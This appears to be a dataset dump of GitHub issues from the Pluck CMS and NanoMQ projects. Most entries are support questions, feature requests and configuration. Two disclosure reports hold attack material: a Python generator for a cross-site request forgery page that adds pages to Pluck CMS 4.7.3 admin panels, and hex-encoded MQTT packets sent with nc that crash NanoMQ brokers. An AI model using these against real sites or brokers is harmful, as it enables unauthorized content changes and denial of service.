issue_owner_repo
listlengths
2
2
issue_body
stringlengths
0
261k
issue_title
stringlengths
1
925
issue_comments_url
stringlengths
56
81
issue_comments_count
int64
0
2.5k
issue_created_at
stringlengths
20
20
issue_updated_at
stringlengths
20
20
issue_html_url
stringlengths
37
62
issue_github_id
int64
387k
2.46B
issue_number
int64
1
127k
[ "pluck-cms", "pluck" ]
Hello...Urgent, I just noticed our website is down. http://www.carmelvalleytennis.net. I'm unable to pull up the Admin login page to access my website http://www.carmelvalleytennis.net/login.php. My hosting has not expired so that's not it and my domain is active till 2018. Can you please help? You can also reach me at ericrozet@gmail.com. Thank you, Eric
Website Down - Cannot access Admin login area
https://api.github.com/repos/pluck-cms/pluck/issues/43/comments
2
2017-01-31T17:29:56Z
2017-02-05T00:46:09Z
https://github.com/pluck-cms/pluck/issues/43
204,366,567
43
[ "pluck-cms", "pluck" ]
# Exploit Title: Pluck CMS 4.7.3 - Add-Page Cross-Site Request Forgery # Exploit Author: Ahsan Tahir # Date: 18-10-2016 # Software Link: http://www.pluck-cms.org/?file=download # Vendor: http://www.pluck-cms.org/ # Google Dork: "2005-2016. pluck is available" # Contact: https://twitter.com/AhsanTahirAT | https://facebook.com/ahsantahiratofficial # Website: www.ahsan-tahir.com # Category: webapps # Version: 4.7.3 # Tested on: [Kali Linux 2.0 | Windows 8.1] # Email: mrahsan1337@gmail.com I found a csrf vulnerability in adding a page in Pluck CMS 4.7.3, this is a critical vulnerability, patch this as soon as possible I've created a python code for exploiting this vulnerability: import os import urllib if os.name == 'nt': os.system('cls') else: os.system('clear') def csrfexploit(): banner = ''' +-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==+ | ____ _ _ ____ __ __ ____ | | | _ \| |_ _ ___| | __ / ___| \/ / ___| | | | |_) | | | | |/ __| |/ / | | | |\/| \___ \ | | | __/| | |_| | (__| < | |___| | | |___) | | | |_| |_|\__,_|\___|_|\_\ \____|_| |_|____/ | | //PluckCMS 4.7.3 Add-Post CSRF Auto-Exploiter | | > Exploit Author & Script Coder: Ahsan Tahir | +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=+ ''' print banner url = str(raw_input(" [+] Enter The Target URL (Please include http:// or https://): ")) title = str(raw_input(" [+] Enter the Title of the Post which you want to add by exploiting CSRF: ")) content = raw_input(" [+] Enter the Content, which you want to add in the post by exploiting CSRF: ") csrfhtmlcode = ''' <html> <!-- CSRF PoC --> <body> <form action="%s/admin.php?action=editpage" method="POST"> <input type="hidden" name="title" value="%s" /> <input type="hidden" name="seo_name" value="" /> <input type="hidden" name="content" value="%s" /> <input type="hidden" name="description" value="" /> <input type="hidden" name="keywords" value="" /> <input type="hidden" name="hidden" value="no" /> <input type="hidden" name="sub_page" value="" /> <input type="hidden" name="theme" value="default" /> <input type="hidden" name="save" value="Save" /> <input type="submit" value="Submit request" /> </form> </body> </html> ''' %(url, title, content) print " +----------------------------------------------------+\n [!] The HTML exploit code for exploiting this CSRF has been created." print(" [!] Enter your Filename below\n Note: The exploit will be saved as 'filename'.html \n") extension = ".html" name = raw_input(" Filename: ") filename = name+extension file = open(filename, "w") file.write(csrfhtmlcode) file.close() print(" [+] Your exploit is saved as %s")%filename print("") csrfexploit()
[Security Alert] Pluck CMS 4.7.3 Add-Page Cross Site Request Forgery
https://api.github.com/repos/pluck-cms/pluck/issues/42/comments
3
2016-11-08T18:24:23Z
2018-04-10T11:25:22Z
https://github.com/pluck-cms/pluck/issues/42
188,066,983
42
[ "pluck-cms", "pluck" ]
How can I put a simple counter?
Counter
https://api.github.com/repos/pluck-cms/pluck/issues/41/comments
1
2016-10-11T14:00:33Z
2016-10-12T01:20:19Z
https://github.com/pluck-cms/pluck/issues/41
182,271,784
41
[ "pluck-cms", "pluck" ]
I need a new modules in pluck 4.7.4 to clone a old blog article. Is possible ?
Clone a blog article
https://api.github.com/repos/pluck-cms/pluck/issues/40/comments
6
2016-08-18T22:06:28Z
2018-04-10T11:25:46Z
https://github.com/pluck-cms/pluck/issues/40
172,012,430
40
[ "pluck-cms", "pluck" ]
there is a script cookie law to adapt to pluck ??
cookie law
https://api.github.com/repos/pluck-cms/pluck/issues/39/comments
3
2016-02-25T15:53:36Z
2016-10-14T23:13:57Z
https://github.com/pluck-cms/pluck/issues/39
136,427,689
39
[ "pluck-cms", "pluck" ]
I installed pluck latest version of altrvista.org, but once installed it can not find the site and tells me http://xxxx.altervista.org/membri/xxxx/?file=home The page is not present., Where xxx 'the my site. What should I do ? Thank you
In altervista.org
https://api.github.com/repos/pluck-cms/pluck/issues/38/comments
6
2016-02-17T11:54:28Z
2016-02-22T07:49:24Z
https://github.com/pluck-cms/pluck/issues/38
134,259,920
38
[ "pluck-cms", "pluck" ]
I noticed when installing (manually) that Pluck automatically sets many folders/files to 777. This may be fine for some but in today's world it is not. With files set to 777 it is downright dangerous and in many servers produces errors such as: [Tue Jan 26 17:30:57.993956 2016] [:error] [pid 21603] [client 91.96.107.84:16235] SoftException in Application.cpp:256: File "/home/xxxxx/public_html/testbed/pluck/data/settings/options.php" is writeable by group Where can I set Pluck to chmod folders/files correctly? Like 755 for folders and at most 666 (would start with 644) for files. Many thanks in advance.
Chmod of files & folders
https://api.github.com/repos/pluck-cms/pluck/issues/37/comments
2
2016-01-27T13:37:41Z
2016-10-14T23:19:31Z
https://github.com/pluck-cms/pluck/issues/37
129,146,795
37
[ "pluck-cms", "pluck" ]
Hello Developers, I have now installed Pluck and wonder how to implement anti-spam protection for comments on the blog. I fear that it will come to spam if the blog has become known. I can not find anywhere a Captcha Module for comments. Do you know a protection for comments or can you help me differently? Thank you in advance.
How can you realize Antispam Protection at Pluck comments
https://api.github.com/repos/pluck-cms/pluck/issues/36/comments
3
2016-01-27T09:00:56Z
2019-04-02T06:24:25Z
https://github.com/pluck-cms/pluck/issues/36
129,076,339
36
[ "pluck-cms", "pluck" ]
Greetings! Testing Pluck for use in classroom project and have couple of issues. The most pressing issue is multi theme. Have the module installed and not working for me. I go to page and under "other options" choose different theme and save. It defaults back to active main theme after save? No errors thrown on page or dev console. All directories/files writable. See that the demo site at softaculous does work when applying new theme to page, so wondering if some security setting or??? One other think if anyone knows: Can you use friendly URL's instead of Pluck/?file=tester Thanks!
Multi Themes Not Working
https://api.github.com/repos/pluck-cms/pluck/issues/35/comments
7
2016-01-26T18:49:43Z
2020-09-05T14:05:26Z
https://github.com/pluck-cms/pluck/issues/35
128,908,690
35
[ "pluck-cms", "pluck" ]
I would appreciate that there was a guestbook. This guestbook message must first be approved by the admin before tezien on the website. All fixed thanks for thinking it.
guestbook
https://api.github.com/repos/pluck-cms/pluck/issues/34/comments
0
2015-12-02T21:18:09Z
2015-12-02T21:19:04Z
https://github.com/pluck-cms/pluck/issues/34
120,037,816
34
[ "pluck-cms", "pluck" ]
Hello Who can help me with a guestbook? M.v.g. André
module
https://api.github.com/repos/pluck-cms/pluck/issues/33/comments
3
2015-11-05T15:03:35Z
2016-10-14T23:21:49Z
https://github.com/pluck-cms/pluck/issues/33
115,302,804
33
[ "pluck-cms", "pluck" ]
Actually I'd even work on this, but I wonder with whom this should be discussed. Who needs to agree on releases, contents, etc. Is there some discussion group? Thanks, Gerd
Would like to be able to write page content in Markdown
https://api.github.com/repos/pluck-cms/pluck/issues/32/comments
2
2015-09-29T16:23:18Z
2016-10-14T23:25:12Z
https://github.com/pluck-cms/pluck/issues/32
108,905,984
32
[ "pluck-cms", "pluck" ]
I have some php scripts I would like to add in the content field and to be run when page is called. How to achieve this. Have tried via tinymce, but tinymce does not like scripts in the text field. Could of course write a new module, but this seems an overkill. Any suggestions? Olaf
How to use php scripts in content
https://api.github.com/repos/pluck-cms/pluck/issues/30/comments
16
2015-08-13T06:50:42Z
2015-08-29T00:00:49Z
https://github.com/pluck-cms/pluck/issues/30
100,702,091
30
[ "pluck-cms", "pluck" ]
Hi, some of the German translations are missing, as you easily can see when comparing en.php and de.php. I'd volunteer to provide them if somebody could tell me how to become a contributor. Cheers, Gerd
Some German translations are missing
https://api.github.com/repos/pluck-cms/pluck/issues/28/comments
3
2015-08-09T20:27:30Z
2015-08-12T22:01:49Z
https://github.com/pluck-cms/pluck/issues/28
99,926,302
28
[ "pluck-cms", "pluck" ]
It seems that pluck can not display a page with tile name in Chinese
Error when a new page created with title name in Chinese
https://api.github.com/repos/pluck-cms/pluck/issues/27/comments
4
2015-07-05T07:31:37Z
2018-06-23T20:10:24Z
https://github.com/pluck-cms/pluck/issues/27
93,087,025
27
[ "pluck-cms", "pluck" ]
I always get the text: A hacking attempt has been detected. For security reasons, we're blocking any code execution. What can I do? It is only the one site... Thank you for helping, I am lost
I cannot change a page
https://api.github.com/repos/pluck-cms/pluck/issues/26/comments
11
2015-06-08T15:47:45Z
2015-10-01T23:39:28Z
https://github.com/pluck-cms/pluck/issues/26
86,230,119
26
[ "pluck-cms", "pluck" ]
I installed Pluck on a webserver (not mine, but I'm allowed to use parts of it). I choosed pluck because it only needed PHP (no Ruby/ASP/SQL, which I do not have the permission to install). I have SFTP and (no-root) SSH access. I went through the installation process, set the permissions correctly. The admin panel works fine (altough it looks a bit weird, but that's not the major problem here). But when I try to see the site it redirects me somewhere. Let's say I have Pluck installed in http://domain.tld/subfolder/pluck. If I click "view site" in the menu of the admin panel, I get redirected to http://domain.tld/subfolder/pluck/g/ which doesn't exist, resulting in a 404 error. If I click "take a look at your website" in the admin panel, it sends me to http://domain.tld/subfolder/pluck/index.php, which then redirects me to http://domain.tldg/ (note the g after the tld, e.g. google.com → google.comg) which results in a DNS error. So I can't access the website. I followed the installation guide (https://github.com/pluck-cms/pluck/wiki/Installation-guide) and checked the FAQ, there doesn't seem to be some config I forgot to edit or something similar. Any idea why this happens?
Can't access Pluck: index.php redirects somewhere, get 404 or DNS error
https://api.github.com/repos/pluck-cms/pluck/issues/25/comments
3
2015-04-19T20:50:41Z
2018-04-10T10:40:41Z
https://github.com/pluck-cms/pluck/issues/25
69,462,858
25
[ "pluck-cms", "pluck" ]
These includes are repeated in admin.php, requirements.php, install.php, and login.php. //Include security-enhancements. require_once 'data/inc/security.php'; //Include functions. require_once 'data/inc/functions.modules.php'; require_once 'data/inc/functions.all.php'; require_once 'data/inc/functions.admin.php'; //Include variables. require_once 'data/inc/variables.all.php'; On my fork, I have put all these includes in data/inc/pluck-core.php so that the top level files need only include pluck_core.
Repeated includes in Top Files
https://api.github.com/repos/pluck-cms/pluck/issues/24/comments
0
2015-03-18T13:46:54Z
2015-03-18T13:46:54Z
https://github.com/pluck-cms/pluck/issues/24
62,697,903
24
[ "pluck-cms", "pluck" ]
This is not issue but a question. I didn't know where to post it so I am doing it here, I have installed Pluck 4.7 and have built our website. How do I upgrade to 4.7.3 without having to rebuild ten website from scratch.
Upgrade form 4.7 to 4.7.3
https://api.github.com/repos/pluck-cms/pluck/issues/23/comments
5
2015-03-09T17:05:49Z
2015-03-18T13:47:43Z
https://github.com/pluck-cms/pluck/issues/23
60,376,127
23
[ "pluck-cms", "pluck" ]
When you edit a file which is a subpage of an other page you will experience the following: Page welcome has a subpage about. (At create on disk) 1.welcome.php welcome\1.about.php After the first edit: 1.welcome.php welcome\1.welcomeabout.php after the second edit: 1.welcome.php welcome\1.welcomewelcomeabout.php I saw that there was a modification to the save_page function in functions.admin.php but I don't see the problem :(
editing a file in a subpage will add the folder name to the filename
https://api.github.com/repos/pluck-cms/pluck/issues/19/comments
2
2014-11-14T14:22:04Z
2014-11-26T11:28:27Z
https://github.com/pluck-cms/pluck/issues/19
48,794,547
19
[ "pluck-cms", "pluck" ]
Due to forum discusion Kevin Rubio (http://www.phphelp.com/forum/pluck-cms/pluck-improvements/): 1. Admin.php file - In admin.php from lines 62 to 285 you have repeated "include_once('data/inc/header.php');" THIRTY TWO times. Since every single case has it, you only need to do it ONCE right before you start your switch. 2. Pluck uses sha512 for password encryption. Should be using bcrypt. 3. http://www.phphelp.com/forum/pluck-cms/pluck-improvements/msg84599/#msg84599 Redirect function 4. Magic quotes "All the code for magic quotes should not even be there. Magic quotes is Deprecated." Topcoder (http://www.phphelp.com/forum/pluck-cms/plan-for-pluck-cms-4-8/): 1. Reducing the number of requests for images by using sprites and CSS.
Pluck code bloat - Pluck Improvements
https://api.github.com/repos/pluck-cms/pluck/issues/18/comments
1
2014-10-08T08:08:26Z
2015-03-18T13:48:10Z
https://github.com/pluck-cms/pluck/issues/18
45,215,578
18
[ "pluck-cms", "pluck" ]
CSS - should we use border-radius in admin panel?
border-radius
https://api.github.com/repos/pluck-cms/pluck/issues/17/comments
3
2014-09-22T11:59:58Z
2014-09-30T01:21:18Z
https://github.com/pluck-cms/pluck/issues/17
43,471,231
17
[ "pluck-cms", "pluck" ]
I'm wondering about moving language strings from core into separate files for modules. For example, language strings for album module will be in album/lang/en.php file, inside album module directory. Advantages: Smaller lang files to include inside the core If you dont use module, you dont need translation for module Disadvantages: Harder to keep translation up to date.
language files for modules
https://api.github.com/repos/pluck-cms/pluck/issues/16/comments
2
2014-09-22T11:48:57Z
2014-09-30T01:21:25Z
https://github.com/pluck-cms/pluck/issues/16
43,469,953
16
[ "pluck-cms", "pluck" ]
Update Check should point to latest release on GitHub?
https://api.github.com/repos/pluck-cms/pluck/issues/15/comments
7
2014-09-04T01:06:38Z
2014-10-13T12:19:17Z
https://github.com/pluck-cms/pluck/issues/15
41,884,945
15
[ "pluck-cms", "pluck" ]
Need to find documentation on how to upgrade Pluck versions.
Version Upgrade Instructions / Method
https://api.github.com/repos/pluck-cms/pluck/issues/14/comments
6
2014-08-16T13:13:18Z
2014-10-02T15:05:26Z
https://github.com/pluck-cms/pluck/issues/14
40,410,462
14
[ "pluck-cms", "pluck" ]
I think we should get a Logo for pluck as a project.
Pluck Logo
https://api.github.com/repos/pluck-cms/pluck/issues/13/comments
9
2014-08-14T10:55:01Z
2014-10-09T16:45:30Z
https://github.com/pluck-cms/pluck/issues/13
40,243,288
13
[ "pluck-cms", "pluck" ]
Need help link from PA (panel admin) need new adres.
Pluck Forum
https://api.github.com/repos/pluck-cms/pluck/issues/12/comments
6
2014-08-13T11:25:00Z
2014-09-03T17:07:41Z
https://github.com/pluck-cms/pluck/issues/12
40,145,198
12
[ "pluck-cms", "pluck" ]
Currently you have to make a tar.gz release for a module to upload it directly through the interface. I'm still considering that this may be a way to separate tested "releases", so that only those who know what they are doing would upload a zip.
Support .zip Theme/Module Uploads along with .tar.gz
https://api.github.com/repos/pluck-cms/pluck/issues/11/comments
2
2014-08-09T21:55:41Z
2014-08-16T11:30:54Z
https://github.com/pluck-cms/pluck/issues/11
39,895,022
11
[ "pluck-cms", "pluck" ]
I have somehow lost my password to Pluck. I still have FTP access. I read somewhere instructions how to change the password, but I cannot find it back.. Can somebody help me?
Lost password
https://api.github.com/repos/pluck-cms/pluck/issues/10/comments
5
2014-08-07T09:43:39Z
2014-08-09T18:52:28Z
https://github.com/pluck-cms/pluck/issues/10
39,708,955
10
[ "pluck-cms", "pluck" ]
I updated the editor module to 4.7. This module allows to edit the current theme.php and site.css file from within pluck. This makes the need of ftp less needed. https://github.com/BSteelooper/Pluck-editor or https://github.com/BSteelooper/Pluck-editor.git
Add module editor
https://api.github.com/repos/pluck-cms/pluck/issues/9/comments
1
2014-08-04T09:11:14Z
2014-08-09T21:48:29Z
https://github.com/pluck-cms/pluck/issues/9
39,402,405
9
[ "pluck-cms", "pluck" ]
I first use pluck today and I deeply love it. It is so easy for people to create a web site.but there is a little flaw. when creating a new page, the name of the page is the same with the uri. I am a Chinese, so I type Chinese for the page name, then I find the name in uri is Chinese. it's not good. we always type url in English and there are some flaw to type url in Non-English. such as it's not good for translate because the urlencode will make the non-Englis url to be longer and unreadable. so I advise you can add a alias for the page name and use it for the uri. thank you, I hope pluck will be more successful.
page name is not friendly with non-English language
https://api.github.com/repos/pluck-cms/pluck/issues/7/comments
8
2014-07-31T19:05:21Z
2014-09-23T22:26:03Z
https://github.com/pluck-cms/pluck/issues/7
39,226,737
7
[ "pluck-cms", "pluck" ]
Each of these modules should have their own repo, and be separate downloads.
Blog and Album should be pulled out of main repo
https://api.github.com/repos/pluck-cms/pluck/issues/5/comments
9
2014-05-16T21:08:06Z
2014-08-16T11:22:29Z
https://github.com/pluck-cms/pluck/issues/5
33,709,679
5
[ "pluck-cms", "pluck" ]
Possibly start with something like: // check for spam $_http = 0; $_href = 0; foreach ($_POST as $key => $value){ $key = $value; // Annoying URL spams in comments any field $_http += substr_count($value, "http"); $_href += substr_count($value, "href"); } if ($_http > 1 OR $_href > 1){ die("Sorry, contains too many links or banned words."); }
Check for Spam in Contact form
https://api.github.com/repos/pluck-cms/pluck/issues/4/comments
1
2014-04-16T10:22:16Z
2014-10-04T07:13:38Z
https://github.com/pluck-cms/pluck/issues/4
31,629,538
4
[ "pluck-cms", "pluck" ]
Install checks for permissions on these folders. (reminds me that we may wish to provide builds as we get releases, so that tar files can be created with perms set.
Current Master does not have /images, /data/trash folders
https://api.github.com/repos/pluck-cms/pluck/issues/2/comments
0
2014-04-11T10:02:12Z
2014-04-13T01:27:35Z
https://github.com/pluck-cms/pluck/issues/2
31,315,767
2
[ "pluck-cms", "pluck" ]
In my new config of latest pluck from master, and php 5.5.9, the module install seems to not work anymore. The tar.gz file is uploaded correctly, but not processed. In the admin center, there is no message/error shown at all (also with error reporting on). This problem probably goes as well for the theme install, didn't test that though. Wondering if someone can reproduce?
Module install not working
https://api.github.com/repos/pluck-cms/pluck/issues/1/comments
4
2014-04-11T07:41:59Z
2014-08-01T01:20:10Z
https://github.com/pluck-cms/pluck/issues/1
31,307,885
1
[ "emqx", "nanomq" ]
Is there any feature to resume lost bridged mqtt message(because network offline) after mqtt bridge connection reconnected?
feat: bridged breakpoint resume
https://api.github.com/repos/nanomq/nanomq/issues/1864/comments
0
2024-08-05T08:24:24Z
2024-08-05T08:26:11Z
https://github.com/nanomq/nanomq/issues/1864
2,447,927,309
1,864
[ "emqx", "nanomq" ]
**Describe the bug** hi @JaylinYu, two bugs (Memory Leak and UAF) were found in NanoMQ v22.04 **Actual Behavior** Describe what occurred. **To Reproduce** If possible include actual reproduction test code here. Minimal C test cases are perferred. **Environment Details** - NanoMQ version: NanoMQ v22.04 (Commit #ba8514037cf30a50ad16edd78eeefc1d78d27006) - Operating system and version: Ubuntu 20.04 --- No.1 UAF ``` echo 101000044d5154540402101000044d5154547e656d81656466747572046d395454ff25003c00003d170002746500040000669b7572652f746f644b54540402003b0c00044d5154540402403c00003117000274646d706579666b757204000000007100006a7266a236726500012e0001230000000000000000823672650001000000012e000000000000000000000000000000000000000000000123000000000000012e0000012b0000000000000000003d1700027e656d70656466747576044d395454ff01003cdeff3d17000274656d70657266827572652f746f200000000402003b0c00044d5154542102003c0b003d1700027e656d206564665c31000400746f644b54540402f13d1700027e656d81656466747572046d395454ff25003c00003d170002746500040000669b7572652f746f644b54540402003b0c00044d5154540402403c00003117000274646d706579666b757204000000007100006a7266a236726500012e00012300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000823672650001000000012e000000000000000000000000000000000000000000000123000000000000012e0000012b0000000000000000003d1700027e656d70656466747576044d395454ff01003cdeff3d17000274656d70657266827572652f746f200000000402003b0c00044d5154542102003c0b003d1700027e656d206564665c31000400746f644b54540402f13d1700027e656d81656466747572046d395454ff25003c00003d170002746500040000669b7572652f746f644b54540402003b0c00044d5154540402403c00003117000274646d706579666b757204000000007100006a7266a236726500012e000123000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003d17000274656d706572668275100c00044d5154540402004f31170011202f2f2f2f2f2f6f3d2f2f2f2f2f2f2f6d70657264823600010004232f1454000002747d0000000001230000012e00000123000000000123000000000000012e000001230000000000000000003d1700027e656d70656466747593044d3954175400000600003d170002746500040000669b7572652f746f644b54540402003b0c00044d5154540402403c00003117000274646d706579666b757204000000007100006a7266a236726500012e00012300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000823672650001000000012e000000000000000000000000000000000000000000000123000000000000012e0000012b0000000000000000003d1700027e656d70656466747576044d395454ff01003cdeff3d17000274656d70657266827572652f746f200000000402003b0c00044d5154542102003c0b003d1700027e656d206564665c31000400746f644b54540402f13d1700027e656d81656466747572046d395454ff25003c00003d170002746500040000669b7572652f746f644b54540402003b0c00044d5154540402403c0000 | xxd -r -p | nc 127.0.0.1 1883 ``` This PoC can cause the Broker to crash when sent multiple times. However, each crash may present a different AddressSanitizer (ASAN) function stack, which might be related to data racing issues previously mentioned. ![image](https://github.com/user-attachments/assets/d074e5bc-9cc9-4e08-97c7-45317c9b3c2d) ![image](https://github.com/user-attachments/assets/b2692001-d511-449b-92d4-86f4a56b12fd) No.2 Memory Leak **POC** ``` echo 103900044d515454050e8da2071701190021c2c100033074450518b8edc2d900146f614335535755597057736c4c5962616572426e0004366443313457000d75487a4a597661766e677035503ffe336f4c4f646e6c31584c4b66435a6f677154335a6f7a515939455744583248494d58453659423754743936304c6d6a72644c57326d65476b4b796551596d786b464a5974546e | xxd -r -p |nc 127.0.0.1 1883 ``` ![image](https://github.com/user-attachments/assets/61dab18c-363e-4374-930f-4cceaace56fd)
Two bugs in NanoMQ
https://api.github.com/repos/nanomq/nanomq/issues/1863/comments
5
2024-08-04T04:23:49Z
2024-08-09T08:22:07Z
https://github.com/nanomq/nanomq/issues/1863
2,446,793,081
1,863
[ "emqx", "nanomq" ]
**Describe the bug** We have found a heap-use-after-free on NanoMQ 0.22.4. The input we use for that sometimes triggers a segmentation fault instead. **To Reproduce** We have a proof of concept available. As it endangers the security of NanoMQ, we would prefer sharing it privately with you. Do you have a channel for us to do so? **Environment Details** - NanoMQ version 0.22.4 - Operating system: Ubuntu 20.04 - Compiler: Clang 11
[Security] UAF and SEGV on NanoMQ 0.22.4
https://api.github.com/repos/nanomq/nanomq/issues/1861/comments
3
2024-08-02T14:52:32Z
2024-08-05T09:11:03Z
https://github.com/nanomq/nanomq/issues/1861
2,445,140,185
1,861
[ "emqx", "nanomq" ]
I've tried to use nanomq as a drop in replacement for eclipse mosquitto on a raspberry pi using the docker image but keep getting seemingly intermittent errors and warnings which prevent reliable use. Is my config file setup correctly or do I need to set some specific settings to address these errors? As a side note, interestingly EMQX open source I tested _does work_ without these errors as a drop in replacment but isn't as fast in terms of latency so offers little benefit for my use case (nanomq is noticably faster although buggy for me). My docker compose (stack in portainer): `services: nanomq: container_name: nanomq image: emqx/nanomq:latest restart: unless-stopped network_mode: host environment: - PUID=1000 - PGID=1000 - TZ=Europe/London volumes: - "/home/pi/configs/nanomq/:/etc/" healthcheck: disable: true logging: driver: "json-file" options: max-size: "10m" max-file: "10"` Comment/Request: Config file examples were unusually difficult to find (in the end I downloaded the Windows release and found good example configs in there.). May I suggest the config files examples provided with the Windows release be included as text on the docs page: [https://nanomq.io/docs/en/latest/config-description/introduction.html](url) This is my current config file: ``` ` NanoMQ Configuration 0.18.0 ============================================================ NanoMQ Broker ============================================================ system { # # num_taskq_thread # # Use a specified number of taskq threads # # # # Value: 1-255, Obtain automatically if 0 num_taskq_thread = 0 # # max_taskq_thread # # Use a specified maximunm number of taskq threads # # # # Value: 1-255, Obtain automatically if 0 max_taskq_thread = 0 # # parallel # # Handle a specified maximum number of outstanding requests # # # # Value: 1-255, Obtain automatically if 0 parallel = 0 } mqtt { property_size = 256 max_packet_size = 4096KB max_mqueue_len = 5000 retry_interval = 10s keepalive_multiplier = 1.25 # Three of below, unsupported now max_inflight_window = 2048 max_awaiting_rel = 10s await_rel_timeout = 10s } listeners.tcp { bind = "0.0.0.0:1883" } # listeners.ssl { # bind = "0.0.0.0:8883" # keyfile = "/etc/certs/key.pem" # certfile = "/etc/certs/cert.pem" # cacertfile = "/etc/certs/cacert.pem" # verify_peer = false # fail_if_no_peer_cert = false # } listeners.ws { bind = "0.0.0.0:8083/mqtt" } http_server { port = 8081 limit_conn = 2 username = admin password = public auth_type = basic jwt { public.keyfile = "/etc/certs/jwt/jwtRS256.key.pub" } } log { to = [console] level = warn dir = "/tmp" file = "nanomq.log" rotation { size = 10MB count = 5 } } auth { allow_anonymous = true no_match = allow deny_action = ignore cache = { max_size = 32 ttl = 1m } # password = {include "/etc/nanomq_pwd.conf"} # acl = {include "/etc/nanomq_acl.conf"} } # #==================================================================== # # MQTT Broker Bridge # #==================================================================== bridges.mqtt.emqx1 { # # Bridge address: host:port . # # # # Value: String # # Example: mqtt-tcp://127.0.0.1:1883 # # tls+mqtt-tcp://127.0.0.1:8883 # # mqtt-quic://54.75.171.11:14567 server = "mqtt-tcp://127.0.0.1:1883" # # Protocol version of the bridge. # # # # Value: Enum # # - 5: mqttv5 # # - 4: mqttv311 # # - 3: mqttv31 proto_ver = 5 # # The ClientId of a remote bridge. # # Default random string. # # # # Value: String # clientid="bridge_client" # # Ping: interval of a downward bridge. # # # # Value: Duration # # Default: 10 seconds keepalive = 60s # # The maximum backoff timeout. # # Reconnect after no more than backoff_max when bridge connection lost. # # # # Value: Duration # # Default: 60s backoff_max = 60s # # The Clean start flag of a remote bridge. # # # # Value: boolean # # Default: false # # # # NOTE: Some IoT platforms require clean_start # # must be set to 'true' clean_start = true # # The username for a remote bridge. # # # # Value: String username = username # # The password for a remote bridge. # # # # Value: String password = passwd # # Properties for MQTT V5 conn_properties = { # # Maximum Packet Size # # # # If the Maximum Packet Size is not present, no limit on the packet size is imposed beyond # # the limitations in the protocol as a result of the remaining length encoding and the protocol header sizes. # # Value: 1 ~ 4294967295 maximum_packet_size = 1024 # # Receive Maximum # # # # The Client uses this value to limit the number of QoS 1 and QoS 2 publications that it is willing to process concurrently. # # There is no mechanism to limit the QoS 0 publications that the Server might try to send. # # The value of Receive Maximum applies only to the current Network Connection. # # If the Receive Maximum value is absent then its value defaults to 65,535. # # # # Value: 1 ~ 65535 receive_maximum = 65535 # # Topic Alias Maximum # # # # If the Topic Alias Maximum property is absent, the default value is 0. # # This value indicates the highest value that the Client will accept as a Topic Alias sent by the Server. # # The Client uses this value to limit the number of Topic Aliases that it is willing to hold on this Connection. # # Default: 0 # # Value: 0 ~ 65535 topic_alias_maximum = 0 # # Request Problem Information # # # # If the Request Problem Information is absent, the value of 1 is used. # # The Client uses this value to indicate whether the Reason String or User Properties are sent in the case of failures. # # If the value of Request Problem Information is 0, the Server MAY return a Reason String or User Properties on a CONNACK or DISCONNECT packet, # # but MUST NOT send a Reason String or User Properties on any packet other than PUBLISH, CONNACK, or DISCONNECT. # # If the value is 0 and the Client receives a Reason String or User Properties in a packet other than PUBLISH, CONNACK, or DISCONNECT, # # it uses a DISCONNECT packet with Reason Code 0x82 (Protocol Error) as described in section 4.13 Handling errors. # # If this value is 1, the Server MAY return a Reason String or User Properties on any packet where it is allowed. # # # # Default: 1 # # Value: 0 | 1 request_problem_infomation = 1 # # Request Response Information # # # # If the Request Response Information is absent, the value of 0 is used. # # The Client uses this value to request the Server to return Response Information in the CONNACK. # # A value of 0 indicates that the Server MUST NOT return Response Information. # # If the value is 1 the Server MAY return Response Information in the CONNACK packet. # # # # Default: 0 # # Value: 0 | 1 request_response_infomation = 0 # # Session Expiry Interval # # # # If the Session Expiry Interval is absent the value 0 is used. # # If it is set to 0, or is absent, the Session ends when the Network Connection is closed. # # If the Session Expiry Interval is 4294967295 (UINT_MAX), the Session does not expire. # # # # Value: 0 ~ 4294967295 session_expiry_interval = 0 # # User Property # # # # The User Property is allowed to appear multiple times to represent multiple name, value pairs. # # The same name is allowed to appear more than once. # # Value: Map[key(String) - value(String)] # user_property = { # key1 = value1 # key2 = value2 # } } will { # # Will topic topic = "will_topic" # # Will QoS qos = 1 # # Will paylad retain flag retain = false # # Will payload payload = "will_message" # # Will properties properties = { # # Payload Format Indicator # # # # 0 (0x00) Byte Indicates that the Will Message is unspecified bytes, # # which is equivalent to not sending a Payload Format Indicator. # # # # 1 (0x01) Byte Indicates that the Will Message is UTF-8 Encoded Character Data. # # # # Default: 0 # # Value: 0 | 1 payload_format_indicator = 0 # # Message Expiry Interval # # # # If present, the Four Byte value is the lifetime of the Will Message in seconds # # and is sent as the Publication Expiry Interval when the Server publishes the Will Message. # # # # If absent, no Message Expiry Interval is sent when the Server publishes the Will Message. message_expiry_interval = 0 # # Content Type # # The value of the Content Type is defined by the sending and receiving application. content_type = "" # # Response Topic # # The presence of a Response Topic identifies the Will Message as a Request. response_topic = "" # # Correlation Data # # The Correlation Data is used by the sender of the Request Message to identify which request # # the Response Message is for when it is received. correlation_data = "" # # Will Delay Interval # # # # If the Will Delay Interval is absent, the default value is 0 and there is no delay # # before the Will Message is published. # # # # The Server delays publishing the Client’s Will Message until the Will Delay Interval # # has passed or the Session ends, whichever happens first. # # If a new Network Connection to this Session is made before the Will Delay Interval has passed, the Server MUST NOT send the Will Message will_delay_interval = 0 # # User Property # # # # The User Property is allowed to appear multiple times to represent multiple name, value pairs. # # The same name is allowed to appear more than once. # # Value: Map[key(String) - value(String)] user_property = { key1 = value1 key2 = value2 } } } # # Ssl config ## # # Ssl config is invalid when working in MQTT over QUIC mode ## # ssl { # # # Ssl key password # # # String containing the user's password. Only used if the private keyfile # # # is password-protected. # # # # # # Value: String # # # key_password = "yourpass" # # # Ssl keyfile # # # Path of the file containing the client's private key. # # # # # # Value: File # keyfile = "../etc/certs/key.pem" # # # Ssl cert file # # # Path of the file containing the client certificate. # # # # # # Value: File # certfile = "../etc/certs/cert.pem" # # # Ssl ca cert file # # # Path of the file containing the server's root CA certificate. # # # # # # This certificate is used to identify the AWS IoT server and is publicly # # # available. # # # # # # Value: File # cacertfile = "../etc/certs/cacert.pem" # } # # Topics that need to be forward to IoTHUB # # # # Value: String # # Example: topic1/#,topic2/# forwards = [ { # # Need to forward to remote broker topics # # # # Value: String remote_topic = "fwd/topic1" # # topic reflection with 